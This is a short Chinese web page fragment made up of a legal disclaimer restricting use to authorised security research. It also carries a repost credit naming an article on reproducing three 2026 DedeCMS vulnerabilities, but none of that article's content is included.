免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:404号浪漫 404号浪漫 404号浪漫《DedeCMS 2026年安全漏洞合集 | CVE-2026-30643 / CVE-2026-29839 / CVE-2026-30694 复现与研究 — 影响最新版本 5.7.118》

评论:0   参与:  0